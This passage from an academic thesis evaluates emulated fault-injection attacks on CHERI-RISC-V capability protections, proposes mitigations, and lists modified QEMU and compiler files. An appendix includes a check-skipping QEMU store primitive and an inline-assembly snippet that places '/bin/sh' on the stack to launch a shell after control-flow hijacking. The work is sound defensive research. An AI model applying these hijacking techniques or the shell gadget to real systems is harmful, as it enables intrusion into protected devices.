Two limitations still apply. First, for harvesting path 1 (§ 9.3.4), only entries for already-invoked external functions are populated, restricting the harvestable set to the subset of library functions the victim has exercised before the attack. This limitation does not apply to path 2. Second, the analysis is specific to the classical .plt/.got/.got.plt ABI variant; binaries built with a .captable-based ABI would require a separate, though analogous, investigation. Support for the resolver-coercion path (path 2) has not been empirically verified on CHERI-RISC-V due to time constraints, and is left as future work (§ 12.3).

Data-Only Attacks

The data-only attack demonstrated in § 8.11.1 is intentionally simple: a single integer variable is overwritten via a bounds-extended buffer. More realistic instances of this class of attack include overwriting authentication flags, privilege level indicators, or loop bounds. In all such cases the mechanism is identical: a single bounds-extension fault enables writes to stack variables that CHERI would otherwise protect through its spatial bounds enforcement. For non-capability values, one bounds-extension flip is sufficient; for capability values, the same methods described in § 8.2.4 apply, as byte writes will also invalidate tags of non-sealed capabilities.

An attempt was made to realise a DOP attack based on the HardScope materials [72], which chains multiple pointer and bounds overwrites to achieve a full exploit. The attempt was unsuccessful; three independent constraints combined to prevent it.

First, the attack uses strcpy to copy the payload into memory, which prohibits null bytes and other special characters such as carriage returns in the input. The original attack was designed for 32-bit architectures [36], where the smaller pointer width makes it easier to satisfy this constraint because fewer bytes need to avoid restricted values.

Second, the attack requires overwriting six variables: marr[33], rarr[33], blen, pbuf, cp, and src. The maximum input into the buffer is 1023 bytes (the buffer size minus one byte reserved for the %C format token that triggers the overflow). On a 32-bit target, where pointers are four bytes wide, all six variables fit within this budget. On 64-bit CHERI, where each capability is 16 bytes wide, the two arrays alone occupy 33×16×2=105633 \times16 \times2 = 1056 bytes, which already exceeds the maximum input length. However, for the exploit to work we need to reach blen, pbuf, cp, and src too. Therefore, without a bigger buffer size the exploit does not work on 64-bit CHERI.

Third, even on 32-bit CHERI, where 8-byte capabilities fit within the available buffer and the previous limitation therefore does not apply, the attack still requires injecting pointer values into memory. CHERI prevents this by stripping the tag from any injected capability (see 4.2.2) or capabilities written via byte-level operations (see § 6.6.1), leaving the injected values untagged and, therefore, unusable as capabilities. Restoring the tags would require re-validating at least eight capabilities (as listed in dopserv/exploit.py in [72]), each needing a separate fault. Combined with the multiple overflow steps the attack already requires, the total fault count becomes substantial.

These three constraints together illustrate a broader point: more sophisticated data-only attacks carry significantly higher cost under CHERI compared to conventional architectures, even when spatial safety has been bypassed through a bounds-extension fault. The 32-bit variant remains the more tractable target in principle, but the tag-restoration requirement means it is far from straightforward. Due to time constraints, a full implementation on 32-bit CHERI was not completed and is left as future work (§ 12.3).

Use-After-Free

The results in Listings 4.32 and 4.33 confirm that the Cornucopia mechanism’s correctness is entirely reliant on the integrity of the shadow bitmap. A single bit flip does not merely weaken temporal safety, it breaks the revocation guarantee for the targeted allocation without affecting any other system state. This makes the temporal safety attack qualitatively different from the spatial safety attacks: it does not require extending any capability’s authority; suppressing the record of a deallocation alone is enough.

The following paragraphs discuss the assumptions underlying this result.

The programmatic bitmap manipulation via libcaprevoke in § 8.11.2 simulates a physical bit flip: a single bit in the shadow bitmap is cleared before the sweep, and the result is deterministic.

In a physical fault injection scenario, the attacker would instead target the memory region in which the shadow bitmap is stored directly. The feasibility of this variant introduces two practical preconditions. First, the attacker must be able to locate the bitmap in physical memory, which requires either prior knowledge of the allocator’s memory layout or an information leak. Second, the attacker must identify the specific bit corresponding to the region of interest, which depends on the same information. Both preconditions are standard requirements for targeted fault injection and do not alter the architectural validity of the demonstrated attack.

Lastly, as discussed and shown in § 6.6.3 and Listings 4.32 and 4.33, a dangling capability remains usable until the next revocation sweep even without fault injection. The fault injection attack differs qualitatively in two respects. First, it extends this window indefinitely: because the bitmap entry is cleared before the sweep runs, no future sweep will ever revoke the capability unless the bitmap is corrected. Second, it permits reallocation of the freed address, enabling a use-after-reallocation scenario in which both obj1 and obj2 are simultaneously valid capabilities referencing the same memory. This condition cannot arise from the Cornucopia limitation alone, since the quarantine buffer prevents reallocation until after a sweep, and a normal sweep would revoke obj1 before releasing the quarantine.

Effectiveness of Fault Injection against CHERI

Table 5.2 summarises all attacks demonstrated in this study and reports the outcome of each attack against the three evaluation metrics defined in § 7.6 (attack success, fault count, and the bypassed protection of CHERI). For the check skip faults the precision is not a bit-level question (see § 9.1.3), therefore, those entries deliberately have “—”. Additionally, as explained in § 7.3.2 and § 9.1.3, the reported number of bit flips are lower limits.

As shown in Table 5.2, most attacks demonstrated in this work succeeded with one or two fault injections, confirming that CHERI’s security guarantees are conditional on its hardware integrity. Thus, CHERI does not prevent the demonstrated attacks under a fault injection threat model, but it raises the difficulty of exploitation. A software-only adversary faces significantly greater difficulty satisfying the requirement of at least one targeted fault, since techniques such as Rowhammer [56] or software-accessible power management exploitation (e.g., CLKSCREW [57]) are often less precise compared to laser or EM fault injection. CHERI therefore substantially raises the cost of remote exploitation for the attack scenarios considered. For many deployment contexts this significantly reduces the attack surface; for physically accessible devices, the threat remains but is reduced compared to an unprotected baseline.

Importantly, not all of CHERI’s enforcement is bypassed by the demonstrated attacks. Each attack targets one specific protection mechanism, e.g., one specific capability tag, through one specific fault, leaving the remaining mechanisms intact. The monotonicity rules (see § 6.6.1) enforced by capability-aware instructions, for instance, remain unaffected: no software instruction can produce a capability with wider bounds or greater permissions than its source, regardless of faults injected elsewhere.

As explained in § 9.2, the sentry mechanism continues to impose constraints even after a fault has been injected. A bounds-extension fault enables a buffer overflow, but it does not supply the attacker with a valid tagged executable capability to place in the return address slot. That capability must either be harvested (§ 9.3) or produced by a second fault, a requirement that does not exist on conventional architectures.

Finally, unforgeability constrains what an attacker can construct in the first place. Taking the address of a function or object via & yields a valid tagged capability, but its bounds and permissions are fixed by CHERI’s derivation rules and any attempt to alter them in software invalidates the tag. A software-only attacker is therefore confined to capabilities they are already authorised to hold. Fault injection is significant precisely because it escapes this confinement, not by violating the derivation rules, but by directly corrupting stored metadata or skipping the checks that enforce them.

Limitations and Open Questions

The platform-level limitations of conducting all experiments on the CHERI-RISC-V QEMU emulator — in particular, the absence of a modelled physical fault injection surface and the restriction to pure-capability CHERI-RISC-V — are discussed in § 7.3.2 and are not repeated here. The remainder of this section focuses on limitations and open questions specific to the attacks and analyses presented in this thesis.

Attacker knowledge of the stack layout. Stack layout knowledge, specifically, the offset from the buffer to the saved return address, was obtained by run-time inspection under GDB. In a black-box scenario, this offset would need to be determined through side channels, information leaks, or brute force.

Constraints shared by both CFH methods. Both control-flow hijacking methods share two common constraints. First, the bit flip must be spatially and temporally precise: the correct bit must be flipped at the correct moment in the execution. Second, the attacker must identify suitable code-reuse gadgets to chain meaningful operations after the initial control-flow redirect. This is complicated by a structural effect of overwriting cra: when the hijacked function’s prologue executes, it saves the current value of cra onto the stack, which now holds the hijacked address rather than the legitimate return address. Every subsequent cret in the call chain therefore also returns to the hijacked target, creating a loop. To break out of this loop, the attacker must find gadgets that transfer control via registers other than cra, for example through indirect jumps using cs0 or another capability register. The availability and quality of such gadgets in real CHERI-RISC-V binaries has not been investigated in this thesis due to time constraints.

Additional prerequisite of CFH Method 2. Method 2 introduces the additional prerequisite that the attacker must supply a valid, executable capability to the overwrite. In the implementation such a capability is obtained through the & operation in C code. An attacker, on the other hand, would need to achieve capability harvesting, i.e., find and extract usable and valid capabilities in the programs memory, since capability injection strips the capability of its tag [14]. Capability harvesting is explained in § 9.3.

Scope of the capability harvesting analysis. The capability harvesting analysis (see § 9.3) is specific to the .plt/.got/.got.plt ABI variant and the lazy binding configuration of the tested binary (§ 9.3).

Feasibility of capability harvesting. A broader open question concerns the end-to-end feasibility of writing a harvested capability to the target location using only the bounds-extension bit flip already required by the attack, i.e., only one bit flip. Writing a capability while preserving its tag requires a capability-aware store, such as the memcpy used in Method 2 (see § 9.2). However, this introduces a circular dependency, which proceeds as follows: (1) The attacker needs to write a harvested capability to the saved return address slot while preserving its tag. (2) Preserving the tag requires a capability-aware store (e.g., memcpy). (3) The memcpy call available in the program has fixed source and destination capabilities. To redirect either argument to a new location, the attacker must modify that capability. (4) Modifying a capability via ordinary byte writes clears its tag, rendering it unusable (§ 8.2.4.2). (5) Modifying it via a capability-aware operation requires a valid capability as the operand — which is exactly what the attacker is trying to obtain (back to step 1). The only escape from this loop, within the demonstrated methods, is a second bit flip to restore the tag after the overwrite, but that is precisely Method 1, which does not need a pre-existing suitable source capability and therefore remains the more flexible option at the same total fault count of two. Method 2 stays at one fault only if a suitable source capability is already reachable in memory and a suitable destination capability already points to the target location, both without any modification.

Harvesting path 2 (§ 9.3.2) represents the most promising candidate for escaping this circular dependency because the runtime resolver itself performs a capability-aware store into the .got.plt, potentially allowing the attacker to obtain a tagged capability without needing an independent write primitive. Harvesting path 1 does not offer the same escape: reading a valid capability is straightforward, but writing it to the target location requires a controllable destination capability, which returns immediately to the circular dependency described above. Both paths, therefore, remain open questions and are deferred to future work (§ 12.3).

Discussion

Chapter 6

Mitigations

Several mitigation strategies can reduce the risk of successful fault injection against CHERI-based systems. Table 6.1 summarises the mitigation strategies discussed in this chapter, with "HW req." standing for Hardware required.

MitigationEffectHW req.?
ECC memoryDetects and corrects bit flips in tag storage and revocation bitmapYes
Redundant tag tableDetects tag bit flipsNo
Capability Metadata MACDetects metadata corruptionPartial
Hardware redundancyDetects and masks or recovers from check skipsYes
Software redundancyDetects and masks from check skipsNo
Post-condition assertionsDetects skipped checksNo
Redundant shadow bitmapDetects shadow bitmap manipulationNo
Bitmap integrity check on revocationDetects shadow bitmap manipulationNo
Physical tamper preventionPrevents physical fault conditionsYes
ASLRLimits CFH exploitabilityNo
CompartmentalisationLimits lateral movement after hijackNo

Table 6.1. Summary of fault injection mitigations for CHERI-based systems.

Protect Tag Bit

A single bit flip suffices to validate/invalidate a capability’s tag (§ 8.1.1), therefore protecting the tag bit is a high-priority mitigation. One mitigation is to protect capability tag storage with ECC memory, which can detect and correct single-bit flips in the tag storage [77]. This would make it significantly harder for an attacker to flip a capability tag, a prerequisite for capability manipulation, injection and the control-flow hijacking Method 1 demonstrated in this study. Where ECC is unavailable or where stronger guarantees are required, a redundant tag table can serve as a complementary measure: cross-checking two independently stored copies of the tag table allows a flipped entry to be identified by disagreement between the two.

Protect Capability Metadata

Beyond the tag bit, an attacker may corrupt the permissions, otype, bounds, or address fields of a capability without invalidating the tag. A mitigation for this class of attack is to compute a MAC over the capability fields at creation time and verify it on each use, so that any modification to the protected fields is detected before the capability is used. This approach is similar to ARM Pointer Authentication Codes [78, 79], which embed a cryptographic signature into unused pointer bits to detect tampering. A fault that corrupts any protected field would cause the MAC verification to fail, preventing the corrupted capability from being used.

Protect Execution of Instructions

Check skipping attacks bypass enforcement checks entirely: the memory operation itself still executes, but the internal checks of the instruction that would normally gate it are rendered ineffective, leaving capability metadata intact (see § 6.8.3). The following explains three mitigation approaches with varying cost.

The first is hardware redundancy: execute security-critical checks or entire security relevant instructions on two or more independent hardware units in parallel and compare results before committing [80]. When the units produce different results, i.e., disagreement, it triggers a fault response. The response strategy depends on the system’s threat model and may include passive redundancy techniques, that mask the fault, or active redundancy techniques that locate, isolate and attempt to recover from the fault [80]. Because hardware redundancy carries significant cost it is mainly used in safety-critical processors e.g., in aeronautics [81].

The second approach is software-level instruction repetition: repeating a security-critical instruction so that a single skip does not bypass the metadata validation. However, in CHERI the metadata checks and the memory operation are fused within a single instruction: when the processor executes a capability-aware load or store, the hardware performs the validation and the data access atomically. Therefore, a single successful execution of a faulted instruction is sufficient to violate CHERI’s spatial safety guarantee and repeating the instruction after the store cannot undo the already executed write. The repetition would thus need to occur before the store, as a separate explicit bounds assertion rather than a redundant execution of the same fused check-and-operate instruction. However, this approach carries performance overhead and is most appropriate for high-risk systems.

The third approach offers a lower-overhead alternative to full check duplication. Rather than repeating the original metadata check, this approach inserts an additional assertion that verifies the same property in a different way. For example, alongside a bounds check that guards the store or load, an assertion independently verifies that the actual target address lies within the authorised bounds. Because the assertion is a distinct instruction at a separate location, a single check skip cannot suppress both. Compared to full duplication, assertions are simpler to implement while still requiring the attacker to perform two independent faults to bypass the protection entirely.

Protect Revocation Bitmap

The use-after-free attack demonstrated in this study succeeds because a bit flip in the shadow bitmap prevents the revocation sweep from clearing the tag of the freed capability, leaving it usable after deallocation (see § 8.11.2). First, as with tag storage (see § 11.1), ECC memory detects and corrects single-bit flips directly. Similarly, a redundant copy of the bitmap allows disagreement between the two copies to be detected before the sweep proceeds. A third option, less practical for tag checks but feasible here due to the lower frequency of revocation sweeps, is a cryptographic integrity check — such as a MAC or hash over the bitmap — verified before each sweep; a corrupted bitmap would cause the check to fail, preventing the compromised sweep from executing. However, the last approach is computationally expensive.

Prevent Physical Tampering

While remote fault injection techniques such as Rowhammer or CLKSCREW exist, the majority of fault injection methods considered in this thesis require some degree of physical access to the target device (see § 6.8). Physical hardening therefore remains an applicable mitigation, even if it does not address software-induced faults. The level of access differs significantly between physical techniques, but physical hardening measures can limit the set of attacks that remain practical (§ 6.8). Voltage glitching, which requires access to the power supply lines, can be countered by power-supply filtering and on-chip voltage monitors. Clock glitching, which requires access to the clock signal, is mitigated by on-chip clock monitors and the use of internal clock sources. Laser fault injection requires full decapsulation of the chip, and tamper-evident enclosures, chip encapsulation, and protective coatings raise the cost of this significantly, as any decapsulation attempt will either destroy the device or leave visible evidence of tampering. No single measure eliminates the threat entirely, but in combination these countermeasures restrict the practical attack surface to techniques requiring a lower level of physical access, such as EM fault injection.

Containment for Control-Flow Hijacking

The mitigations above aim to detect or prevent faults before they lead to exploitation. A complementary strategy is containment: limiting the damage an attacker can achieve even if a fault succeeds. The following explains, two examples of containment measures specific to the control-flow hijacking attacks demonstrated in this study.

The first is ASLR. ASLR does not prevent the bit flip or the corruption of the capability, but it makes it significantly harder for an attacker to construct a useful payload, because the target address cannot be predicted without a separate information-disclosure primitive. It is therefore a containment measure rather than a detection or prevention measure. In the CHERI-RISC-V environment used in this study, ASLR is not active by default, which is why it is listed as a separate mitigation strategy.

The second is CHERI’s own compartmentalisation features. Even if an attacker achieves a control-flow redirection within one compartment, compartment boundaries restrict the set of capabilities accessible to the hijacked execution, limiting lateral movement. Compartmentalisation was not evaluated in this study (see § 12.3) but represents a significant containment layer in production deployments.

Defense in Depth

No single mitigation from the preceding sections is sufficient to address the full attack surface identified in this thesis. The demonstrated attacks target different enforcement mechanisms — the tag bit, capability bounds, instruction execution, and the revocation bitmap — and each requires a different class of countermeasure. A robust deployment should therefore combine mitigations in layers: (i) Metadata integrity (ECC, redundant tags, capability field MAC) protects against bit-flip attacks on stored capabilities. (ii) Execution integrity (hardware redundancy or post-condition assertions) protects against check skipping. (iii) Revocation integrity (bitmap integrity checks) protects against temporal-safety bypass. (iv) Containment (ASLR, compartmentalisation) limits the impact of any successful exploitation. (v) Physical hardening (voltage/clock monitors, tamper-evident enclosures) raises the cost of inducing faults in the first place.

The cost of each layer varies: physical hardening and hardware redundancy carry significant overhead, while software assertions and bitmap integrity checks can be deployed without hardware changes. The appropriate combination depends on the deployment context and the acceptable performance–security trade-off.

Chapter 7

Conclusions and Future work

This chapter summarises the answers to the research questions, reflects on the limitations of the study, and outlines directions for future work.

Conclusions

This thesis investigated whether transient or persistent faults can undermine the memory-safety guarantees that CHERI aims to provide, in a pure-capability CHERI-RISC-V environment. For this we emulated two classes of faults in QEMU: bit flips that corrupt capability metadata, and fault-induced check skipping that skips internal metadata enforcement checks of instructions.

The main research question is to what extent CHERI is robust against fault injection attacks, and what potential vulnerabilities could compromise its memory-safety guarantees (§ 5.2). The answer is that CHERI’s guarantees are reliant on the physical integrity of the hardware, specifically: the integrity of capability metadata, the uninterrupted execution of metadata checks, and the integrity of the revocation bitmap. A single targeted bit flip or check skip is sufficient to undermine spatial safety, temporal safety, or CFI, depending on which field is targeted. CHERI does, however, raise the cost of exploitation compared to an unprotected baseline: every attack requires a relatively well timed and spatially accurate fault. The sentry capability mechanism especially requires an attacker to either supply a valid tagged capability or expend a second fault on tag restoration.

The following answers the sub-questions from § 5.2.

RQ1: *Can faults that corrupt capability metadata, or induce the skipping of metadata enforcement checks, enable out-of-bounds accesses, controlflow hijacking, data-only attacks, or use-after-free vulnerabilities in a pure-capability CHERI-RISC-V environment?

All four vulnerability classes considered in this study were demonstrated successfully in the pure-capability CHERI-RISC-V environment. A single bounds-extension bit flip bypasses spatial safety and enables buffer overflows (§ 8.2.3). CFH requires either one or two bit flips, depending on the method used (§ 8.2.4). Check skipping provides an alternative path to CFH or data-only attacks with a minimum of one fault (§ 8.11.0.2). Data-only attacks succeed with a single bounds-extension fault (§ 8.11.1). A single bit flip in the revocation bitmap defeats CHERI’s temporal safety mechanism, enabling a use-after-free condition to persist across reallocation (§ 8.11.2). The results are summarised in Table 5.2.

RQ2: What practical limits and constraints arise for such attacks, and what mitigation directions follow from the observations?

The practical limits identified are primarily determined by the attacker’s ability to locate and time the fault, and by the need to supply a valid executable capability in CFH Method 2. Stack layout knowledge had to be obtained at run-time, either through GDB inspection, side channels, or brute force. Capability harvesting — the question of where a real attacker would obtain a valid executable capability — was analysed in § 9.3: the .got.plt section populated by lazy binding provides a concrete source. The circular dependency between harvesting and writing a capability without losing its tag remains an open question identified for future work (§ 9.1.3). The mitigation directions that follow from the attack results and observations are presented in Chapter 6.

RQ3: To what degree does CHERI raise the cost of exploitation compared to an unprotected baseline under a fault injection threat model?

The fault counts reported in each attack scenario and summarised in Table 5.2 provide a concrete answer. All attacks require between one and two bit flips, or with a number of check skips determined by Equation (2). These counts represent lower bounds on the fault injection cost (see § 7.3.2 and § 9.1.3) required to circumvent each CHERI protection, and therefore a direct measure of the degree to which CHERI raises the cost of exploitation relative to an unprotected baseline, where zero faults are needed.

The four project goals were met as follows.

G1: Design and simulate controlled bit flip experiments targeting capability metadata in a QEMU-based CHERI-RISC-V environment. § 8.1 explains how this goal was met: we designed, implemented, and validated multiple fault injection primitives in the QEMU-based CHERI-RISC-V environment.

G2: Identify and characterise the vulnerabilities and attack techniques enabled by fault injection attacks, with a focus on control-flow hijacking and data-only attacks arising from stack-based buffer overflows and use-after-free vulnerabilities. § 8.2 explains how this goal was met: all four attack scenarios were successfully demonstrated using these primitives.

G3: Evaluate the impact of identified vulnerabilities on CHERI’s memory safety guarantees. Chapter 5 explains how this goal was met: the impact of each vulnerability on CHERI’s guarantees was evaluated and the fault counts required to circumvent each protection were reported.

G4: Provide insights and recommendations to improve the robustness of future CHERI implementations. Chapter 6 explains how this goal was met: mitigation directions targeting each identified vulnerability were proposed.

Limitations

The primary limitation of this study is that QEMU does not model the physical fault injection surface of a real chip, which results in the fault counts reported in this thesis being lower limits as explained in § 7.3.2. Additional limitations include the assumption of stack layout knowledge obtained via run-time inspection, and the unverified feasibility of the resolver-coercion harvesting path (§ 9.3).

Future work

Several directions for future work follow directly from the open questions identified in this thesis.

The most immediate is validation on physical hardware, specifically the Arm Morello board, which would determine whether the attacks demonstrated here can be realised at the reported fault counts under realistic physical fault injection conditions, and whether hardware-level mitigations such as on-chip voltage monitors or ECC memory affect the attack surface in practice.

The circular dependency identified in § 9.7, i.e., writing a harvested capability to a target location and obtaining a controllable destination capability without a second fault, remains unresolved. The resolver-coercion harvesting path (§ 9.3) is the most promising candidate for breaking this dependency and should be empirically verified on CHERI-RISC-V.

The DOP attack based on the HardScope materials [36] was not completed due to the constraints described in § 9.4. A 32-bit CHERI target would reduce the pointer-width constraint and is a feasible next step. Additionally, a systematic analysis of code-reuse gadgets available in real CHERI-RISC-V binaries would determine the practical feasibility of chaining operations after the initial control-flow redirect demonstrated in this work. Finally, the vulnerability classes examined in this study (buffer overflows, control-flow hijacking, data-only attacks, and use-after-free) do not exhaust the full range of memory-safety violations that CHERI addresses. Classes such as use-before-initialisation, double-free, and heap metadata corruption were not investigated and may exhibit different fault injection characteristics.

Reflections

The relevance of this work applies to any CHERI system where an attacker can induce faults, whether through physical access (see § 6.8) or software-exploitable hardware interfaces, e.g., Rowhammer. The results demonstrate that fault injection renders most of the examined attack classes viable on CHERI, although more difficult to achieve than on conventional architectures.

The thesis contributes to United Nations (UN) Sustainable Development Goals (SDGs) 11 and 16. With respect to SDG 11 (Sustainable Cities and Communities), secure and resilient computing infrastructure underpins the safety of increasingly connected urban environments: as digital devices become further embedded in everyday life, strengthening the security guarantees of the platforms on which they depend contributes to the safety and resilience of the communities that rely on them. With respect to SDG 16 (Peace, Justice and Strong Institutions), the work contributes to the broader goal of trustworthy digital infrastructure by identifying conditions under which a widely studied memory-safety architecture can be circumvented through physical faults and by proposing concrete mitigations, thereby supporting the development of more robust systems on which institutions and public services increasingly depend.

The ecological and economic dimensions of sustainable development are not a primary focus of this thesis, as the work is concerned with security properties rather than energy consumption or cost modelling. Nevertheless, the broader argument for CHERI adoption is relevant here: by extending the secure lifetime of existing hardware and software rather than requiring full system replacement, CHERI reduces the resource cost of security upgrades. Identifying the fault conditions under which its guarantees break down contributes to more informed deployment decisions, avoiding the economic and environmental costs associated with premature hardware replacement or large-scale security incidents in deployed infrastructure.

References

Modified QEMU and Compiler Files

The following outlines the files that have been modified to add the new functions to QEMU and the Compiler.

QEMU Files

op_helper_cheri_common.c: Contains the actual logic of the bit flip and capability check skip primitives in C.

cheri-helper-common.h: Declares the helper’s signature and type so that QEMU can generate the helper stubs.

trans_cheri.c.inc: Contains translation functions that help QEMU decode instructions to the C function implementing its behaviour.

insn32-cheri-v9.decode: Contains binary encoding of instructions for QEMU’s decoder to recognise them.

Compiler Files

Builtins.def: Declares builtins so that Clang recognises them as a valid function in C source code.

SemaChecking.cpp: Compile-time type and argument checks for the new builtins.

CGBuiltin.cpp: Translates the C builtin call for bounds flip and capability check skip into an LLVM intrinsic call.

IntrinsicsCHERICap.td: Declares LLVM intrinsic with name, signature, and properties for functions.

RISCVInstrInfoXCheri.td: Defines instruction selection patterns that connect the LLVM intrinsic to the machine instruction and defines binary encoding.

After recompilation of both QEMU and the Compiler, we can invoke the new function by calling the built-ins e.g., `__builtin_cheri_bounds_flip`. The disassembler files that are responsible for displaying readable names (for GDB or objdump) were not modified. Therefore, the functions are displayed as “.isn” in the disassembly.

Emulating Faults Affecting CHERI Byte Stores

The following explains the QEMU changes made.

trans_cheri.c.inc: Reuses the logic of `gen_cap_store_mem_idx`, omitting the call that validates metadata, to perform the memory store operation. A single shared generator function is used by both translation functions. Two translation functions were added based on the capability store: one for byte-length stores (with parameter `MO_UB` for byte) and one for doubleword-length stores (parameter `MO_UQ` for doubleword). These translation functions split the arguments appropriately and invoke the shared generator function.

insn32-cheri-v9.decode: Two new entries using previously unused opcodes were added, modelled on the existing capability store entry.

The compiler-side files were modified analogously to the capability store case, with only the function names and opcodes changed. Because these functions take a capability argument, any byte or doubleword value must be cast at the call site; the resulting capability carries neither a valid tag nor meaningful bounds, but its address field holds the intended value. This approach was adopted to avoid errors encountered when passing an integer directly as the argument.

Listing A.1 shows the tiny code generator translation frontend implementation of the byte-width check skip. Unlike the capability-width variant (Listing 4.4), which is implemented as a helper function, the non-capability variants emit store micro-operations directly in the translation stage. The function extracts the raw cursor address from the authorising capability register without invoking bounds or permission validation, then emits an unconditional store of the specified width. The doubleword variant is identical except for the memory-operation parameter (`MO_UQ` instead of `MO_UB`).

Listing A.1: Emulating Faults Affecting CHERI byte stores in file trans_cheri.c.inc

static inline bool gen_cap_store_skip_checks(
    DisasContext *ctx, int32_t addr_regnum, int32_t
    val_regnum, MemOp op)
{
    TCGv_cap_checked_ptr vaddr =
        tcg_temp_new_cap_checked();
    gen_cap_get_cursor(ctx, addr_regnum, (TCGv)vaddr
    );

    TCGv value = tcg_temp_new();
    gen_get_gpr(ctx, value, val_regnum);
    tcg_gen_qemu_st_tl_with_checked_addr(value,
        vaddr, ctx->mem_idx, op);
    tcg_temp_free(value);
    tcg_temp_free_cap_checked(vaddr);
    return true;
}

static inline bool trans_store_bytes_cap_skip_checks
    (DisasContext *ctx,
     arg_store_bytes_cap_skip_checks *a)
{
    return gen_cap_store_skip_checks(ctx, a->cs1, a
    ->cd, MO_UB); // MO_UB for byte
}

Modified QEMU and Compiler Files

Control-Flow Hijacking Code

Libc function Alternatives

The following shows the addition to Listing 4.20, which was inserted before the return statement in the hijack function. This version allows a shell to be launched without having to enter /bin/sh as input. Instead, an attacker requires a gadget that includes has li t0, 0x68732f6e69622f\n\t for this variant.

1  asm volatile (
2      "li t0, 0x68732f6e69622f\n\t"
3      "sd t0, 0(csp)\n\t"
4      //"cincoffset ca0, csp, 0"// derives a capability
       pointing to stack location 0(csp)
5      "cmove ca0, csp"
6      :
7      :
8      : "t0", "ca0", "memory"
9  );

Listing B.1: Excerpt showing assembly encoding of /bin/sh and moving it into ca0 as a valid capability.

References

  1. [1]Microsoft Security Response Center, “We need a safer systems programming language,” Microsoft Blog, Jul. 2019. [Online]. Available: https://www.microsoft.com/en-us/msrc/blog/2019/07/we-need-a-safer-systems-programming-language
  2. [2]Chromium Authors, “Memory safety,” Chromium Website. [Online]. Available: https://www.chromium.org/Home/chromium-security/memory-safety/
  3. [3]A. Rebert, C. Carruth, J. Engel, and A. Qin, “Safer with Google: Advancing memory safety,” Oct. 2024. [Online]. Available: https://security.googleblog.com/2024/10/safer-with-google-advancing-memory.html
  4. [4]U.S. Cybersecurity and Infrastructure Security Agency et al., “The case for memory safe roadmaps,” U.S. Cybersecurity and Infrastructure Security Agency, Whitepaper, Dec. 2023. [Online]. Available: https://www.cisa.gov/resources-tools/resources/case-memory-safe-roadmaps
  5. [5]T. Nyman, “Toward hardware-assisted run-time protection,” Doctoral Thesis, Aalto University. ISBN 978-952-64-0065-5 2020. [Online]. Available: https://research.aalto.fi/en/publications/toward-hardware-assisted-run-time-protection/
  6. [6]Codenomicon, “Heartbleed Bug,” 2014. [Online]. Available: https://www.heartbleed.com/
  7. [7]J. V. Stoep and A. Rebert, “Eliminating memory safety vulnerabilities at the source,” Google Security Blog, Sep. 2024. [Online]. Available: https://security.googleblog.com/2024/09/eliminating-memory-safety-vulnerabilities-Android.html
  8. [8]U.S. Cybersecurity and Infrastructure Security Agency and U.S. National Security Agency, “Memory safe languages: Reducing vulnerabilities in modern software development,” U.S. Cybersecurity and Infrastructure Security Agency, Whitepaper, Jun. 2025. [Online]. Available: https://www.cisa.gov/resources-tools/resources/memory-safe-languages-reducing-vulnerabilities-modern-software-development
  9. [9]M. Abadi, M. Budiu, U. Erlingsson, and J. Ligatti, “Control-flow integrity,” in Proceedings of the 12th ACM Conference on Computer and Communications Security, ser. CCS ’05. Alexandria, USA: Association for Computing Machinery, Nov. 2005. doi: 10.1145/1102120.1102165. ISBN 978-1-59593-226-6 pp. 340–353. [Online]. Available: https://dl.acm.org/doi/10.1145/1102120.1102165DOI
  10. [10]R. N. M. Watson, S. W. Moore, P. Sewell, and P. G. Neumann, “An introduction to CHERI,” University of Cambridge, Cambridge, Tech. Rep. 941, Sep. 2019. [Online]. Available: https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-941.pdfDOI
  11. [11]R. Baumann, “Radiation-induced soft errors in advanced semiconductor technologies,” IEEE Transactions on Device and Materials Reliability, vol. 5, no. 3, pp. 305–316, Sep. 2005. doi: 10.1109/TDMR.2005.853449. [Online]. Available: https://ieeexplore.ieee.org/document/1545891/DOI
  12. [12]G. Svelto, “A few years ago,” Mastodon, Mar. 2026, archived: https://web.archive.org/web/20260611021712/https://mas.to/@gabrielesvelto/116171750653898304. [Online]. Available: https://mas.to/@gabrielesvelto/116171750653898304
  13. [13]R. N. M. Watson, G. Barnes, J. Clarke, R. Grisenthwaite, P. Sewell, S. W. Moore, and J. Woodruff, “Arm Morello Programme: Architectural security goals and known limitations,” Computer Laboratory, University of Cambridge, Tech. Rep. 982, Jul. 2023. [Online]. Available: https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-982.pdfDOI
  14. [14]R. N. M. Watson, P. G. Neumann, J. Woodruff, M. Roe, H. Almatary, J. Anderson, J. Baldwin, G. Barnes, D. Chisnall, J. Clarke, B. Davis, L. Eisen, N. W. Filardo, F. A. Fuchs, R. Grisenthwaite, A. Joannou, B. Laurie, A. T. Markettos, S. W. Moore, S. J. Murdoch, K. Nienhuis, R. Norton, A. Richardson, P. Rugg, P. Sewell, S. Son, and H. Xia, “Capability Hardware Enhanced RISC Instructions: CHERI Instruction-Set Architecture (Version 9),” Computer Laboratory, University of Cambridge, Cambridge, Tech. Rep. 987, Sep. 2023. [Online]. Available: https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-987.htmlDOI
  15. [15]The QEMU Project Developers, “About QEMU,” QEMU. [Online]. Available: https://www.qemu.org/docs/master/about/index.html
  16. [16]A. Richardson, “CTSRD-CHERI/cheribuild,” Capability Hardware Enhanced RISC Instructions, Mar. 2026. [Online]. Available: https://github.com/CTSRD-CHERI/cheribuild
  17. [17]N. W. Filardo, B. F. Gutstein, J. Woodruff, J. Clarke, P. Rugg, B. Davis, M. Johnston, R. Norton, D. Chisnall, S. W. Moore, P. G. Neumann, and R. N. M. Watson, “Cornucopia reloaded: Load barriers for CHERI heap temporal safety,” in Proceedings of the 29th ACM International Conference on Architectural Support for Programming Languages and Operating Systems, Volume 2, ser. ASPLOS ’24. La Jolla, USA: Association for Computing Machinery, Apr. 2024. doi: 10.1145/3620665.3640416. ISBN 979-8-4007-0385-0 pp. 251–268. [Online]. Available: https://dl.acm.org/doi/10.1145/3620665.3640416DOI
  18. [18]X. Yin, Z. Huang, S. Kan, G. Shen, Z. Chen, Y. Liu, and F. Wang, “SafeOSL: Ensuring memory safety of C via ownership-based intermediate language,” Software: Practice and Experience, vol. 52, no. 5, pp. 1114–1142, 2022. doi: 10.1002/spe.3057. [Online]. Available: https://onlinelibrary.wiley.com/doi/abs/10.1002/spe.3057DOI
